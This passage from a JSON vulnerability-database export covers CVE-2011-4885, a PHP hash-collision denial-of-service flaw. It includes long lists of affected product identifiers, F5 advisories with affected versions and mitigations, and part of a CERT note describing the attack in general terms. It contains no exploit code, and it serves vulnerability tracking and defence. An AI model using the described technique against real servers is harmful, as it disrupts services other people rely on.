"cpe:2.3:a:mortbay:jetty:3.0.b05:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta17:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.5:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.b03:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.5:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc6:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.1:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.4:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta10:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0:alpha2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.3:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:alpha2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.3:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:alpha1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:7.0.0:pre0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.1:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:alpha3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:beta2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.3:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:alpha0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc8:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.7:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.12:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.12:rc5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:7.0.0:pre3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.15:pre0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:alpha2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.12:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:7.0.0:m2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:alpha1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.12:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.19:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.b2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.20:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.5:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.24:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a96:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.4:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.11:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.9:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.14:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.24:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.1:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:rc5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0:alpha1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.14:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:oracle:sun_storage_common_array_manager:6.9.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.15:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.20:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.15:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.21:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a92:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.3:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.19:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.15:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.d4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a99:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.15:rc5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a98:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:alpha3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:7.0.0:m1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.9:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.b02:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:pre0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.16:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.d1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.11:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.b0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta15:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.b04:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.22:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.9:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a91:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc8:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta6:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:beta0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.b1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.d3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.26:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:beta1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.6:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:pre3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a9:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc6:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.12:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.10:pre0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:pre1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.16:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.8:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a93:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:7.0.0:pre1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta7:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.25:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.10:pre2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:pre0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a94:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta16:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc9:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.d2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.11:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc7:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.b0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.0a:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:betax:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta11:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.1:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta12:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.9:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.0:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta9:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc7:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.14:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:51:09", "description": "PHP before 5.3.9 computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.", "edition": 6, "cvss3": {}, "published": "2011-12-30T01:55:00", "title": "CVE-2011-4885", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4885"], "modified": "2018-01-09T02:29:00", "cpe": ["cpe:/a:php:php:5.1.5", "cpe:/a:php:php:5.2.1", "cpe:/a:php:php:5.2.12", "cpe:/a:php:php:5.0.1", "cpe:/a:php:php:5.2.11", "cpe:/a:php:php:5.3.4", "cpe:/a:php:php:5.2.9", "cpe:/a:php:php:5.2.6", "cpe:/a:php:php:5.1.4", "cpe:/a:php:php:5.3.8", "cpe:/a:php:php:5.1.3", "cpe:/a:php:php:5.1.6", "cpe:/a:php:php:5.2.3", "cpe:/a:php:php:5.2.5", "cpe:/a:php:php:5.3.6", "cpe:/a:php:php:5.0.2", "cpe:/a:php:php:5.3.5", "cpe:/a:php:php:5.3.1", "cpe:/a:php:php:5.2.10", "cpe:/a:php:php:5.2.4", "cpe:/a:php:php:5.2.0", "cpe:/a:php:php:5.3.0", "cpe:/a:php:php:5.2.15", "cpe:/a:php:php:5.0.4", "cpe:/a:php:php:5.2.8", "cpe:/a:php:php:5.1.1", "cpe:/a:php:php:5.2.2", "cpe:/a:php:php:5.3.7", "cpe:/a:php:php:5.2.17", "cpe:/a:php:php:5.0.5", "cpe:/a:php:php:5.3.2", "cpe:/a:php:php:5.0.3", "cpe:/a:php:php:5.2.7", "cpe:/a:php:php:5.1.2", "cpe:/a:php:php:5.3.3", "cpe:/a:php:php:5.0.0", "cpe:/a:php:php:5.2.14", "cpe:/a:php:php:5.2.16"], "id": "CVE-2011-4885", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4885", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:php:php:5.0.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.8:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.15:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.12:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.11:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.14:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.16:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.17:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:php:php:5.2.9:*:*:*:*:*:*:*"]}], "f5": [{"lastseen": "2017-06-08T00:16:18", "bulletinFamily": "software", "cvelist": ["CVE-2011-4885"], "edition": 1, "description": "\nF5 Product Development has assigned ID 383081 (BIG-IP 10.x), ID 375749 (BIG-IP 11.x), and ID 376713 (FirePass) to this vulnerability.\n\nTo find out whether F5 has determined that your release is vulnerable, and to obtain information about releases or hotfixes that resolve the vulnerability, refer to the following table:\n\nProduct | Versions known to be vulnerable | Versions known to be not vulnerable | Vulnerable component or feature \n---|---|---|--- \nBIG-IP LTM | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 \n| 11.2.0 - 11.4.0 \n| Administrative access on any interface \nBIG-IP GTM | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 \n| 11.2.0 - 11.4.0 | Administrative access on any interface \nBIG-IP ASM | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 \n| 11.2.0 - 11.4.0 | Administrative access on any interface \nBIG-IP Link Controller | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 \n| 11.2.0 - 11.4.0 | Administrative access on any interface \nBIG-IP WebAccelerator | None \n| 10.0.0 - 10.2.4 \n11.0.0 - 11.3.0 | None \nBIG-IP PSM | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 | 11.2.0 - 11.4.0 | Administrative access on any interface \nBIG-IP WOM | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 | 11.2.0 - 11.3.0 | Administrative access on any interface \nBIG-IP APM | 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 | 11.2.0 - 11.4.0 | Administrative access on any interface \nBIG-IP Edge Gateway \n| 10.0.0 - 10.2.4 \n11.0.0 - 11.1.0 | 11.2.0 - 11.4.0 | Administrative access on any interface \nBIG-IP Analytics \n| 11.0.0 - 11.1.0 | 11.2.0 - 11.4.0 \n| Administrative access on any interface \nBIG-IP AFM | None | 11.3.0 - 11.4.0 | None \nBIG-IP PEM \n| None | 11.3.0 - 11.4.0 | None \nBIG-IP AAM | None | 11.4.0 | None \nFirePass | 6.x \n7.x \n| 7.0.0 HF-70-7 \n6.1.0 HF-610-9 \n| Administrative console logon page \nUser access logon page \nEnterprise Manager | None \n| 1.x \n2.x \n3.x | None \n \nARX | None \n| 5.x \n6.x | None \n\n\n**BIG-IP**\n\nTo mitigate this vulnerability, expose the administrative interface only on trusted networks and limit login access to trusted users.\n\n**FirePass**\n\nFor information about hotfix status, contact [F5 Technical Support](<http://www.f5.com/training-support/customer-support/contact/>).\n\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents.](<https://support.f5.com/csp/article/K9957>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n * [K167: Downloading software and firmware from F5](<https://support.f5.com/csp/article/K167>)\n * [K9502: BIG-IP hotfix matrix](<https://support.f5.com/csp/article/K9502>)\n * [K10322: FirePass hotfix matrix](<https://support.f5.com/csp/article/K10322>)\n * [K12766: ARX hotfix matrix](<https://support.f5.com/csp/article/K12766>)\n * [K2200: Most recent versions of F5 software](<https://support.f5.com/csp/article/K2200>)\n", "modified": "2017-04-06T16:50:00", "published": "2012-05-17T22:23:00", "id": "F5:K13588", "href": "https://support.f5.com/csp/article/K13588", "title": "PHP vulnerability CVE-2011-4885", "type": "f5", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2016-03-19T09:01:51", "bulletinFamily": "software", "cvelist": ["CVE-2011-4885"], "edition": 1, "description": "Recommended action\n\n * **BIG-IP** \n \nTo mitigate this vulnerability, expose the administrative interface only on trusted networks and limit login access to trusted users.\n * **FirePass** \n \nFor information about hotfix status, contact [F5 Technical Support](<http://www.f5.com/training-support/customer-support/contact/>).\n\nSupplemental Information\n\n * [CVE-2011-4885](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4885>)\n * SOL9970: Subscribing to email notifications regarding F5 products\n * SOL9957: Creating a custom RSS feed to view new and updated documents.\n * SOL4602: Overview of the F5 security vulnerability response policy\n * SOL4918: Overview of the F5 critical issue hotfix policy\n * SOL167: Downloading software and firmware from F5\n * SOL9502: BIG-IP hotfix matrix\n * SOL10322: FirePass hotfix matrix\n * SOL12766: ARX hotfix matrix\n * SOL2200: Most recent versions of F5 software\n", "modified": "2013-09-11T00:00:00", "published": "2012-05-17T00:00:00", "href": "http://support.f5.com/kb/en-us/solutions/public/13000/500/sol13588.html", "id": "SOL13588", "title": "SOL13588 - PHP vulnerability CVE-2011-4885", "type": "f5", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "cert": [{"lastseen": "2020-09-18T20:42:01", "bulletinFamily": "info", "cvelist": ["CVE-2011-3414", "CVE-2011-4815", "CVE-2011-4838", "CVE-2011-4885"], "description": "### Overview \n\nSome programming language implementations do not sufficiently randomize their hash functions or provide means to limit key collision attacks, which can be leveraged by an unauthenticated attacker to cause a denial-of-service (DoS) condition.\n\n### Description \n\nMany applications, including common web framework implementations, use hash tables to map key values to associated entries. If the hash table contains entries for different keys that map to the same hash value, a hash collision occurs and additional processing is required to determine which entry is appropriate for the key. If an attacker can generate many requests containing colliding key values, an application performing the hash table lookup may enter a denial of service condition.\n\nHash collision denial-of-service attacks were first [detailed](<http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf>) in 2003, but [recent research](<http://www.nruns.com/_downloads/advisory28122011.pdf>) details how these attacks apply to modern language hash table implementations. \n \n--- \n \n### Impact \n\nAn application can be forced into a denial-of-service condition. In the case of some web application servers, specially-crafted POST form data may result in a denial-of-service. \n \n--- \n \n### Solution \n\n**Apply an update** \nPlease review the Vendor Information section of this document for vendor-specific patch and workaround details. \n \n--- \n \n \n**Limit CPU time** \n \nLimiting the processing time for a single request can help minimize the impact of malicious requests. \n \n**Limit maximum POST size** \n \nLimiting the maximum POST request size can reduce the number of possible predictable 